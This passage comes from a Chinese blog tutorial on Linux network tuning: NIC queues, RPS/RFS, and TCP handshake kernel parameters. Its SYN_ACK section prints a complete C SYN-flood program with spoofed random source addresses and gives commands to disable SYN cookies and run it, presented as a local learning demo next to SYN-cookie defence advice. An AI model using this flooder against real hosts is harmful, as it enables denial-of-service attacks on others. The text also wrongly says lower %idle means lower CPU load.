这篇文章,将会从网络原理开始,一直到 Linux Kernel 的相关配置对于网络性能的影响,算是一个偏整体的知识学习

文章非常长,这里将大纲列出来

  • 网卡收发包队列技术优化
  • 单网卡队列 RPS / RFS 原理
  • TCP Socket 建立连接相关内核参数优化
  • TCP 连接拥塞控制相关内核参数优化
  • TCP 拥塞控制算法 - BBRv2 原理
  • TCP 显式拥塞通知 ECN 算法原理
  • TCP 快速启动解决方案

概念梳理

学习过程中可能会碰到非常多的概念和术语,在此先对这些进行一个梳理,也算是一个复习

中断和软中断

首先我们需要对中断和软中断有个起码的认知,中断一般是指硬件中断,多由系统自身或与之链接的外设(如键盘、鼠标、网卡等)产生,中断首先是处理器提供的一种响应外设请求的机制,是处理器硬件支持的特性,一个外设通过产生一种电信号通知中断控制器,中断控制器再向处理器发送相应的信号。处理器检测到了这个信号后就会打断自己当前正在做的工作,转而去处理这次中断。而内核收到信号后会调用一个称为中断处理程序(interrupt handler)或中断服务例程(interrupt service routine)的特定程序。中断处理程序或中断服务例程可以在中断向量表中找到,这个中断向量表位于内存中的固定地址中。CPU处理中断后,就会恢复执行之前被中断的程序。

整个流程可以归纳为:硬件设备 (产生中断)-> 中断控制器(通知) -> CPU -> 中断内核 -> do_IRQ() -> handler_IRQ_event -> 中断控制器(收到恢复通知)-> IRQ_exit

现在我们对于基本的中断有了个理解,从实际场景来说中断请求的处理程序应该要短且快,这样才能减少对正常进程运行调度地影响,而且中断处理程序可能会暂时关闭中断,这时如果中断处理程序执行时间过长,可能在还未执行完中断处理程序前,会丢失当前其他设备的中断请求。

所以 Linux 系统为了解决中断处理程序执行过长和中断丢失的问题,将中断过程分成了两个阶段,分别是 上半部分下半部分

  • 上半部用来快速处理中断,一般会暂时关闭中断请求,主要负责处理跟硬件紧密相关或者时间敏感的事情。
  • 下半部用来延迟处理上半部未完成的工作,一般以 内核线程 的方式运行。

例如网卡收包这里,网卡收到网络包后,会通过硬件中断通知内核有新的数据到了,于是内核就会调用对应的中断处理程序来响应该事件,这个事件的处理也是会分成上半部和下半部。

上部分要做到快速处理,所以只要把网卡的数据读到内存中,然后更新一下硬件寄存器的状态,比如把状态更新为表示数据已经读到内存中的状态值。接着,内核会触发一个软中断,把一些处理比较耗时且复杂的事情,交给「软中断处理程序」去做,也就是中断的下半部,其主要是需要从内存中找到网络数据,再按照网络协议栈,对网络数据进行逐层解析和处理,最后把数据送给应用程序。

所以,中断处理程序的上部分和下半部可以理解为:

  • 上半部直接处理硬件请求,也就是硬中断,主要是负责耗时短的工作,特点是快速执行
  • 下半部是由内核触发,也就说软中断,主要是负责上半部未完成的工作,通常都是耗时比较长的事情,特点是延迟执行

网卡收发过程

网卡的收发其实重点应该在中断的下半部,我们一拍脑袋,想到接收数据包的一个经典过程:

  1. 数据到达网卡
  2. 网卡产生一个中断给内核
  3. 内核使用I/O指令,从网卡I/O区域中去读取数据

但是这种方法有一个很大的问题,就是当大流量数据到来时候,网卡会产生大量的中断,内核在处理中断上下文中,会浪费大量资源来处理中断本身。所以,NAPI 技术被提出来,所谓的 NAPI 技术,其实就是先将内核屏蔽,然后每隔一段时间去轮询网卡是否有数据。不过相应的,如果数据量少,轮询本身也会占用大量不必要的 CPU 资源,所以需要进行抉择判断。

  1. 首先,内核在主内存中为收发数据建立一个环形的缓冲队列(通常也叫 DMA 环形缓冲区)
  2. 内核将这个缓冲区通过 DMA 映射,把这个队列交给网卡
  3. 网卡收到数据,将会直接放到这个环形缓冲区,也就是直接放进主内存中了,然后向系统产生一个中断
  4. 内核收到这个中断,将会取消 DMA 映射,这样内核就直接从主内存中读取了数据

剩下的处理和操作数据包的工作就会交给软中断。高负载的网卡是软中断产生的大户,很容易形成瓶颈。

网卡多队列

NAPI 技术可以很好地与现在常见的 1 Gbps 网卡配合使用。但是,对于 10Gbps、20Gbps 甚至 40Gbps 的网卡,NAPI 可能还不够。如果我们仍然使用一个 CPU 和一个队列来接收数据包,这些卡将需要更快的 CPU。那我们换一个思路,如果不拘泥于单个 CPU 进行队列处理呢,要知道一直以来都是 CPU0 进行绑定到网卡队列,导致这个核心的负载会异常高。

网卡多队列技术既然适用于高流量的情况,我们首先想到的常见肯定就是云服务了,例如阿里云 ECS 和 NAS 中间,肯定不是通过物理总线进行连接的,走的都是网口(所以购买的时候能看到有的实例包含网络增强选项),这种情况下,如果发现瓶颈达不到厂商宣称的交换速率,也可以先看看自己的服务器配置。

网卡多队列是一种技术手段,可以解决网络 I/O 带宽 QoS(Quality of Service)问题。网卡多队列驱动将各个队列通过中断绑定到不同的核上,从而解决网络 I/O 带宽升高时单核 CPU 的处理瓶颈,提升网络 PPS 和带宽性能。经测试,在相同的网络 PPS 和网络带宽的条件下,与 1 个队列相比,2 个队列最多可提升性能达 50% 到 100%,4 个队列的性能提升更大。
— 蚂蚁金服技术文档

查看与开启多队列

找到主网卡,我这里使用的是虚拟机,如果是云服务器的话,可能是 eth0

$ sudo apt install net-tools
$ ifconfig 
ens33: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 192.168.224.128  netmask 255.255.255.0  broadcast 192.168.224.255
        inet6 fe80::20c:29ff:fe06:a416  prefixlen 64  scopeid 0x20<link>
        ether 00:0c:29:06:a4:16  txqueuelen 1000  (Ethernet)
        RX packets 158259  bytes 218502852 (218.5 MB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 8623  bytes 631838 (631.8 KB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        inet6 ::1  prefixlen 128  scopeid 0x10<host>
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 162  bytes 15628 (15.6 KB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 162  bytes 15628 (15.6 KB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

注意,不是所有网卡驱动都支持这个操作。如果你的网卡不支持,会看到如下类似的错误

$ ethtool -l ens33
Channel parameters for ens33:
Cannot get device channel parameters
: Operation not supported

这意味着驱动没有实现 ethtool 的 get_channels 方法。可能的原因包括:该网卡不支持调整 RX queue 数量,不支持 RSS/multiqueue,或者驱动没有更新来支持此功能。

而正常的命令结果应该为(一台2C2G的云服务器), 如果返回信息中,两个 Combined 字段取值相同,则表示弹性网卡已开启支持多队列。

$ ethtool -l eth0
Channel parameters for eth0:
Pre-set maximums:
RX:		0
TX:		0
Other:		0
Combined:	2  # 表示最多支持设置2个队列
Current hardware settings:
RX:		0
TX:		0
Other:		0
Combined:	1 # 表示当前生效的是1个队列

设置多队列均匀分布流量

$ ethtool -L eth0 combined 2
combined unmodified, ignoring
no channel parameters changed.
current values: rx 0 tx 0 other 0 combined 2

$ ethtool -l eth0
Channel parameters for eth0:
Pre-set maximums:
RX:		0
TX:		0
Other:		0
Combined:	2
Current hardware settings:
RX:		0
TX:		0
Other:		0
Combined:	2

硬件队列和软件队列

路由器或者交换机的数据发送,必须依赖于队列(queue),它首先是将数据存储在内存中,如果当前的发送接口不繁忙,那么它将转发数据包,如果当前的接口繁忙,那么网络设备会将数据包暂存于内存中,直到接口空闲才发送数据包,为了更科学的管理和优先内存中的数据包,IOS 建立了排队这个概念。最基本的原则就是先进先出(FIFO),即排前面的数据包会被优先转发,排后面的数据包将直到它前面的包被发送后才会被转发,而且队列是有长度限制的,所以当排队的数据达到队列长度的限制时,那么数据包将被丢弃(不允许排队)。

队列中存放的并不是真实的数据,所以数据包本身的大小并不影响队列的长度,换而言之,一个 1500Bytes 的数据包和一个 10K 的数据包在队列里面的概念是一样的,这完全就是一种链表,队列中只保存着一个名为 “数据指针” 的概念,而真正的数据都被存储在缓冲区的堆栈中,数据指针仅仅用来申明数据在堆栈中的位置。

而如果使用单一的 FIFO 队列,那么将会缺失一项很重要的功能 - Qos,不能获得优先调度哪些数据转发的能力,要知道 Qos 功能能影响到数据的延迟、抖动、丢弃等因素。这个 FIFO 队列的长度,决定了数据何时被 尾部丢弃,即当数据到达最大长度后,后面抵达的数据包将直接被丢弃,而如果一味地增加队列长度,想减少被丢弃的可能性,也会造成数据包传输的平均延迟的加大。

  • 较长的队列相较于较短的队列,数据被 尾部丢弃 可能性降低,但是延迟和抖动会加大
  • 较短的队列相较于较长的队列,数据的 尾部丢弃 可能性会增加,但是延迟和抖动会下降
  • 如果产生了持续的拥塞,无论队列是长或者短,数据都会被丢弃

Ring

在输出队列(通常指示为软件队列,RP Ring)中的数据包并不是直接送到一个输出接口进行转发,而是将数据包从一个输出队列传送到另一个更小的输出队列(通常指示为硬件队列,TX Ring),然后再从这个更小的输出队列进行转发,这种行为叫 Separate

通常,硬件队列没有被充满时或者为空时,这说明网络中没有发生拥塞,所以数据被直接传送入硬件队列,而不会再被放入软件队列排队,也就说此时不会使用软件队列,如果硬件队列被充满,那么后继到来的数据包将被放入软件队列排队,硬件队列是不支持 Qos 工具的,而软件队列支持 Qos 工具。

硬件队列的实现完全依赖于路由器的硬件模块选用 TX Queue 还是 Transmit TX Ring(想起了当初学路由用 GNS3 做的实验),但是在链路中,我们可以将其等同化,通常硬件队列的长度很小,这就意味着一件事,路由能快速的转发硬件队列中的数据,而且硬件队列的转发不依赖于通过 CPU 而被关联到每一个物理接口上的 ASIC,所以即便是路由器的 CPU 工作负荷很重,硬件队列也可以快速的发送数据,而不需要去等待 CPU 做中断处理的时间延迟。但是硬件队列永远都是遵守 FIFO 原则,它是不可以使用 Qos 的队列工具来进行管理的,每个物理接口上都有一个且仅有一个硬件队列。

而软件队列会存在多种类型(多种机制)和多个数量的队列,然后调度器将决定先将那个软件队列的数据调度进入硬件队列,比如软件队列 1 的数据是最重要且紧急的,那么可以优先调度软件队列 1 的数据进入硬件队列,然后硬件队列将数据直接交给接口转发,其实通过这个逻辑不难看出 — 软件队列是可以被管理的,每一个接口都有一个且仅有一个硬件队列,硬件队列永远是使用 FIFO 机制,且不可以被队列工具管理

RPS / RFS

我们现在简单地阐释了路由层面的网卡队列技术,和服务器层面的网卡多队列技术,对于多队列网卡,针对网卡硬件接收队列与 CPU 核数在数量上不匹配导致报文在 CPU 之间分配不均这个问题,Google 的工程师提供的 RPS / RFS 两个补丁,它们运行在单队列网卡,可以在软件层面将报文平均分配到多个 CPU 上

原理

RPS 把软中断的负载均衡到各个 CPU,是在单个 CPU 将数据从 Ring Buffer 取出来之后开始工作,网卡驱动通过四元组(源 ip、源端口、目的 ip 和目的端口)生成一个hash值,然后根据这个hash值分配到对应的CPU上处理,从而发挥多核的能力

但是还有个问题,由于 RPS 只是把数据包均衡到不同的 CPU,但是收包的应用程序和软中断处理不一定是在同一个 CPU,这样对于 CPU Cache 的影响会很大。因此就出现 RFS,它确保应用程序和软中断处理的 CPU 是同一个,从而能充分利用 CPU 的 Cache,这两个补丁往往都是一起设置,以达到最好的优化效果

配置

现在我们以一台多核 CPU,不支持多网卡队列技术的服务器进行实验(Linux Kernel >= 2.6.35),ip 为 192.168.224.128

RPS 的基本思想是根据每个队列的 rps_map 将同一流的数据包发送到特定的 CPU。这是 rps_map 的结构:映射根据 CPU 位掩码动态更改为/sys/class/net/{interface}/queues/rx-/rps_cpus。比如我们要让队列使用前3个CPU,在8个CPU的系统中,我们先构造位掩码 0 0 0 0 0 1 1 1,得到 0x7

# 不支持网卡多队列技术
$ ethtool -l ens33
Channel parameters for ens33:
Pre-set maximums:
RX:		0
TX:		0
Other:		0
Combined:	1
Current hardware settings:
RX:		0
TX:		0
Other:		0
Combined:	1

$ cat /sys/class/net/ens33/queues/rx-0/rps_cpus
00000000,00000000,00000000,00000000 # 代表未开启 RPS 功能

# 安装测试工具(可选)
$ sudo apt-get install netperf sysstat

$ echo 7 | sudo tee -a /sys/class/net/ens33/queues/rx-0/rps_cpus

$ cat /sys/class/net/ens33/queues/rx-0/rps_cpus
00000000,00000000,00000000,00000007

期间,我们开启另外一个终端进行测试,注意观察 idle 字段,越低代表 CPU 负载越低(空闲),netperf 是压测程序,注意分开运行

先开启接收客户端

$ netserver -p 3030 
Starting netserver with host 'IN(6)ADDR_ANY' port '3030' and family AF_UNSPEC

未开启 RPS,负载压到 CPU 0 上 此时网卡吞吐量为 52617.24Mb/s

$ netperf -H 192.168.224.128 -l 60 -- -m 10240 # TEST
MIGRATED TCP STREAM TEST from 0.0.0.0 (0.0.0.0) port 0 AF_INET to 192.168.224.128 () port 0 AF_INET : demo
Recv   Send    Send                          
Socket Socket  Message  Elapsed              
Size   Size    Size     Time     Throughput  
bytes  bytes   bytes    secs.    10^6bits/sec  

131072  16384  10240    60.00    52617.24

$ mpstat  -P ALL 5 # Monitor 

10:56:34 AM  CPU    %usr   %nice    %sys %iowait    %irq   %soft  %steal  %guest  %gnice   %idle
10:56:44 AM  all    0.48    0.00   12.33    0.00    0.00    2.03    0.00    0.00    0.00   85.16
10:56:44 AM    0    2.09    0.00   46.44    0.00    0.00    5.44    0.00    0.00    0.00   46.03
10:56:44 AM    1    0.00    0.00    8.46    0.00    0.00    0.78    0.00    0.00    0.00   90.76
10:56:44 AM    2    0.40    0.00    8.31    0.00    0.00    5.34    0.00    0.00    0.00   85.95
10:56:44 AM    3    0.11    0.00    3.56    0.00    0.00    0.54    0.00    0.00    0.00   95.79
10:56:44 AM    4    0.24    0.00    7.09    0.00    0.00    1.22    0.00    0.00    0.00   91.44
10:56:44 AM    5    0.00    0.00    0.52    0.00    0.00    0.00    0.00    0.00    0.00   99.48
10:56:44 AM    6    0.86    0.00   21.94    0.00    0.00    2.26    0.00    0.00    0.00   74.95
10:56:44 AM    7    0.00    0.00    0.54    0.00    0.00    0.00    0.00    0.00    0.00   99.46

开启 RPS 后,负载压到了 0-2 号核心上
这里吞吐没有提升的原因,是因为单队列已经到达内存读写的极限了(本地压测),我们只需要关注 CPU 负载被分摊的现象即可

$ netperf -H 192.168.224.128 -l 60 -- -m 10240
MIGRATED TCP STREAM TEST from 0.0.0.0 (0.0.0.0) port 0 AF_INET to 192.168.224.128 () port 0 AF_INET : demo
Recv   Send    Send                          
Socket Socket  Message  Elapsed              
Size   Size    Size     Time     Throughput  
bytes  bytes   bytes    secs.    10^6bits/sec  

131072  16384  10240    60.00    52269.50

11:11:00 AM  CPU    %usr   %nice    %sys %iowait    %irq   %soft  %steal  %guest  %gnice   %idle
11:11:10 AM  all    0.56    0.00   12.42    0.00    0.00    1.68    0.00    0.00    0.00   85.33
11:11:10 AM    0    0.89    0.00   25.72    0.00    0.00    4.57    0.00    0.00    0.00   68.82
11:11:10 AM    1    0.00    0.00    1.68    0.00    0.00    0.13    0.00    0.00    0.00   98.20
11:11:10 AM    2    2.50    0.00   51.75    0.00    0.00    6.19    0.00    0.00    0.00   39.56
11:11:10 AM    3    0.00    0.00    3.34    0.00    0.00    0.30    0.00    0.00    0.00   96.35
11:11:10 AM    4    0.00    0.00    0.00    0.00    0.00    0.00    0.00    0.00    0.00  100.00
11:11:10 AM    5    0.00    0.00    1.12    0.00    0.00    0.00    0.00    0.00    0.00   98.88
11:11:10 AM    6    0.70    0.00    7.34    0.00    0.00    1.11    0.00    0.00    0.00   90.85
11:11:10 AM    7    0.00    0.00    0.75    0.00    0.00    0.00    0.00    0.00    0.00   99.25

TCP/IP 的拥塞控制

看完底层的 DMA 区域队列的设计原理和优化后,我们把目光转向 TCP/IP 协议本身,也就是传输链路上

下面的代码表述一个 Socket 的建立分别经过 connect() -> listen() -> accept() 这个过程,对于每一位学习网络的人来说应该都是基础了

int main()
{
    int sockfd, connfd, len;
    struct sockaddr_in servaddr, cli;
   
    // socket create and verification
    sockfd = socket(AF_INET, SOCK_STREAM, 0);
    if (sockfd == -1) {
        printf("socket creation failed...\n");
        exit(0);
    }
    else
        printf("Socket successfully created..\n");
    bzero(&servaddr, sizeof(servaddr));
   
    // assign IP, PORT
    servaddr.sin_family = AF_INET;
    servaddr.sin_addr.s_addr = htonl(INADDR_ANY);
    servaddr.sin_port = htons(PORT);
   
    // Binding newly created socket to given IP and verification
    if ((bind(sockfd, (SA*)&servaddr, sizeof(servaddr))) != 0) {
        printf("socket bind failed...\n");
        exit(0);
    }
    else
        printf("Socket successfully binded..\n");
   
    // Now server is ready to listen and verification
    if ((listen(sockfd, 5)) != 0) {
        printf("Listen failed...\n");
        exit(0);
    }
    else
        printf("Server listening..\n");
    len = sizeof(cli);
   
    // Accept the data packet from client and verification
    connfd = accept(sockfd, (SA*)&cli, &len);
    if (connfd < 0) {
        printf("server accept failed...\n");
        exit(0);
    }
    else
        printf("server accept the client...\n");
   
    // Function for chatting between client and server
    func(connfd);
   
    // After chatting close the socket
    close(sockfd);
}

那么,有没有想过这个这个过程中,每个环节分别都涉及到什么 Kernel 参数呢?

握手环节:Client(SYN, connect)-> Server(SYN_ACK, listen)-> Client -> Server(ACK, accept)

SYN

作为第一次握手,也是 Client 向 Server 主动发起请求的环节,涉及到的内核参数为:

  • tcp_syn_retries:缺省值为 6,首先 Client 会给 Server 发送一个 SYN 包,但是该 SYN 包可能会在传输过程中丢失,或者因为其他原因导致 Server 无法处理,此时 Client 这一侧就会触发超时重传机制。但是也不能一直重传下去,重传的次数也是有限制的,这就是 tcp_syn_retries 这个配置项来决定的。
    假设 tcp_syn_retries 为 3,那么 SYN 包重传的策略大致如下:
tcp_syn_retries = 3
Client Connect()

no.1 SYN -> NORECV
no.2 SYN -> NORECV
no.3 SYN -> NORECV

failed resuilt : ETIMEOUT

这个参数最直接能影响到存活检测这种场景,默认为 6 的情况下,如果 SYN 一直发送失败,会在(1 + 2 + 4 + 8 + 16 + 32 + 64)秒,即 127 秒后产生 ETIMEOUT 的错误,如果 Server 因为某些原因被下线,但是 Client 没有被通知到,而 Client 的 connect() 被阻塞 127s 才收到 ETIMEOUT 去尝试连接一个新的 Server, 这么长的超时等待时间对于应用程序而言是很难接受的

所以通常情况下,我们都会将数据中心内部服务器的 tcp_syn_retries 给调小,这里推荐设置为 2,来减少阻塞的时间。因为对于数据中心而言,它的网络质量是很好的,如果得不到 Server 的响应,很可能是 Server 本身出了问题。在这种情况下,Client 及早地去尝试连接其他的 Server 会是一个比较好的选择,如果是跨主机集群,这个选项也需要注意

SYN_ACK

这个环节是 Server 接收来自 Client 的请求, 这里就提到了一个 SYN Flood 攻击,通过发送大量的 SYN 报文,并且这个 SYN 包的源 IP 地址不停地变换,那么 Server 每次接收到一个新的 SYN 后,都会给它分配一个半连接,Server 的 SYN_ACK 根据之前的 SYN 包找到的是错误的 Client IP, 所以也就无法收到 Client 的 ACK 包,导致无法正确建立 TCP 连接,这就会让 Server 的半连接队列耗尽,无法响应正常的 SYN 包,造成类似被 DDOS 攻击的危害

下面给出了一个用 C 写的 SYN Flood 小 Demo,用于了解攻击原理,同时也可以自己本地做一下实验

#include <stdio.h>
#include <string.h>
#include <sys/socket.h>
#include <stdlib.h>
#include <time.h>
#include <errno.h>
#include <unistd.h>
#include <netinet/tcp.h>
#include <netinet/ip.h>
#include <arpa/inet.h>

#include <stdint.h>
typedef int8_t i8;
typedef int16_t i16;
typedef int32_t i32;
typedef int64_t i64;
typedef uint8_t u8;
typedef uint16_t u16;
typedef uint32_t u32;
typedef uint64_t u64;

struct pseudo_header
{
    u32 source_address;
    u32 dest_address;
    u8 placeholder;
    u8 protocol;
    u16 tcp_length;

    struct tcphdr tcp;
};

u16 checksum(u16 *ptr, u32 nbytes) {
    u64 sum = 0;

    while(nbytes > 1) {
        sum += *ptr++;
        nbytes -= 2;
    }

    if(nbytes == 1) {
        sum += *(u8*)ptr;
    }

    sum = (sum >> 16) + (sum & 0xffff);
    sum += (sum >> 16);

    return (u16)~sum;
}

const u8* construct_packet(in_addr_t saddr, in_addr_t daddr) {
    #define PKT_LEN 4096
    static u8 pkt[PKT_LEN];

    //IP header
    struct iphdr *iph = (struct iphdr *) pkt;
    //TCP header
    struct tcphdr *tcph = (struct tcphdr *) (pkt + sizeof (struct ip));
    //Pseudo header
    struct pseudo_header psh;

    //Fill in the IP Header
    iph->ihl = 5;
    iph->version = 4;
    iph->tos = 0;
    iph->tot_len = sizeof (struct ip) + sizeof (struct tcphdr);
    iph->id = htons(37654);
    iph->frag_off = 0;
    iph->ttl = 255;
    iph->protocol = IPPROTO_TCP;
    iph->saddr = saddr;
    iph->daddr = daddr;
    iph->check = 0; // ip header checksum may be ignored

    //TCP Header
    tcph->source = htons(1234);
    tcph->dest = htons(80);
    tcph->seq = (u32)random();
    tcph->ack_seq = 0;
    tcph->doff = 5;
    tcph->fin = 0;
    tcph->syn = 1;
    tcph->rst = 0;
    tcph->psh = 0;
    tcph->ack = 0;
    tcph->urg = 0;
    tcph->window = htons(1000);
    tcph->check = 0;
    tcph->urg_ptr = 0;

    //Fill in the Pseudo Header
    psh.source_address = saddr;
    psh.dest_address = daddr;
    psh.placeholder = 0;
    psh.protocol = IPPROTO_TCP;
    psh.tcp_length = htons(20);
    memcpy(&psh.tcp, tcph, sizeof (struct tcphdr));
    tcph->check = checksum((u16*)&psh, sizeof(struct pseudo_header));
    return pkt;
}

int main(int argc, char *argv[]) {

    in_addr_t daddr = 0;

    if (argc > 1) {
        printf("Dest addr: %s:80\n", argv[1]);
        daddr = inet_addr(argv[1]);
    } else {
        puts("args not found");
	    exit(0);
    }

    srandom((u32)time(NULL));
    in_addr_t saddr = htonl((u32)random());

    struct sockaddr_in sin;
    sin.sin_family = AF_INET;
    sin.sin_port = htons(80);
    sin.sin_addr.s_addr = daddr;

    u16 tot_len = sizeof(struct ip) + sizeof(struct tcphdr);

    const u8* pkt = NULL;

    i32 s = 0;
    i8 on = 1;

    for (;;) {

        s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
        if (setsockopt(s, IPPROTO_IP, IP_HDRINCL,
            (i8*)&on, sizeof(on)) == -1)
        {
            printf("[setsockopt] can't set IP_HDRINCL option\n");
        }
        pkt = construct_packet(saddr, daddr);

        //Send the packet
        if (sendto(s, pkt, tot_len, 0, (struct sockaddr *)&sin, sizeof(sin)) < 0)
        {
            // Not a fatal error
        }

        saddr = htonl((u32)random());
        close(s);
    }

    return 0;
}

编译并运行

$ sudo apt install nginx gcc
$ sysctl -w net.ipv4.tcp_syncookies=0 # 关闭保护机制
$ gcc sync_flood.c
$ ./a.out 192.168.224.128

可以运行命令 netstat -an | grep 80,查看该端口的链接数量

$ netstat -an | grep 80
...
tcp        0      0 192.168.224.128:80      0.188.158.121:1234      SYN_RECV   
tcp        0      0 192.168.224.128:80      0.67.85.160:1234        SYN_RECV   
tcp        0      0 192.168.224.128:80      0.86.205.149:1234       SYN_RECV   
tcp        0      0 192.168.224.128:80      0.70.135.193:1234       SYN_RECV   
tcp        0      0 192.168.224.128:80      0.96.80.205:1234        SYN_RECV   
tcp        0      0 192.168.224.128:80      0.253.86.158:1234       SYN_RECV   
tcp        0      0 192.168.224.128:80      0.47.101.135:1234       SYN_RECV   
tcp        0      0 192.168.224.128:80      0.231.102.115:1234      SYN_RECV   
tcp        0      0 192.168.224.128:80      0.252.30.255:1234       SYN_RECV   
tcp        0      0 192.168.224.128:80      0.149.192.180:1234      SYN_RECV   
tcp        0      0 192.168.224.128:80      0.5.59.107:1234         SYN_RECV   
tcp        0      0 192.168.224.128:80      0.137.67.175:1234       SYN_RECV   
tcp        0      0 192.168.224.128:80      0.175.34.131:1234       SYN_RECV   
tcp        0      0 192.168.224.128:80      0.4.238.211:1234        SYN_RECV   
tcp        0      0 192.168.224.128:80      0.235.89.53:1234        SYN_RECV   
tcp        0      0 192.168.224.128:80      0.174.167.135:1234      SYN_RECV   
tcp        0      0 192.168.224.128:80      0.64.151.124:1234       SYN_RECV   
tcp        0      0 192.168.224.128:80      0.61.137.110:1234       SYN_RECV   
tcp        0      0 192.168.224.128:80      0.108.110.196:1234      SYN_RECV
...

$ netstat -an | grep 80 | wc -l
393

为了防止 SYN Flood 攻击,Linux 内核引入了 SYN Cookies 机制。在 Server 收到 SYN 包时,不去分配资源来保存 Client 的信息,而是根据这个 SYN 包计算出一个 Cookie 值,然后将 Cookie 记录到 SYNACK 包中发送出去。对于正常的连接,该 Cookies 值会随着 Client 的 ACK 报文被带回来。然后 Server 再根据这个 Cookie 检查这个 ACK 包的合法性,如果合法,才去创建新的 TCP 连接。通过这种处理,SYN Cookies 可以防止部分 SYN Flood 攻击。所以对于 Linux 服务器而言,推荐开启 SYN Cookies net.ipv4.tcp_syncookies = 1

ACK

在完成前两个环节后,终于来到了全连接队列(Accept Queue)了,全连接队列的长度是由 listen(sockfd, backlog) 中的 backlog 控制的,而该 backlog 的最大值则是 somaxconn,该值在 5.4 之前的内核中,默认都是 128(5.4 开始调整为了默认 4096),建议将该值适当调大一些,net.core.somaxconn = 16384

当服务器中积压的全连接个数超过该值后,新的全连接就会被丢弃掉。Server 在将新连接丢弃时,有的时候需要发送 reset 来通知 Client,这样 Client 就不会再次重试了。不过,默认行为是直接丢弃不去通知 Client。至于是否需要给 Client 发送 reset,是由 tcp_abort_on_overflow 这个配置项来控制的,该值默认为 0,即不发送 reset 给 Client。推荐也是将该值配置为 net.ipv4.tcp_abort_on_overflow = 0

这是因为,Server 如果来不及 accept() 而导致全连接队列满,这往往是由瞬间有大量新建连接请求导致的,正常情况下 Server 很快就能恢复,然后 Client 再次重试后就可以建连成功了。也就是说,将 tcp_abort_on_overflow 配置为 0,给了 Client 一个重试的机会。当然,你可以根据你的实际情况来决定是否要使能该选项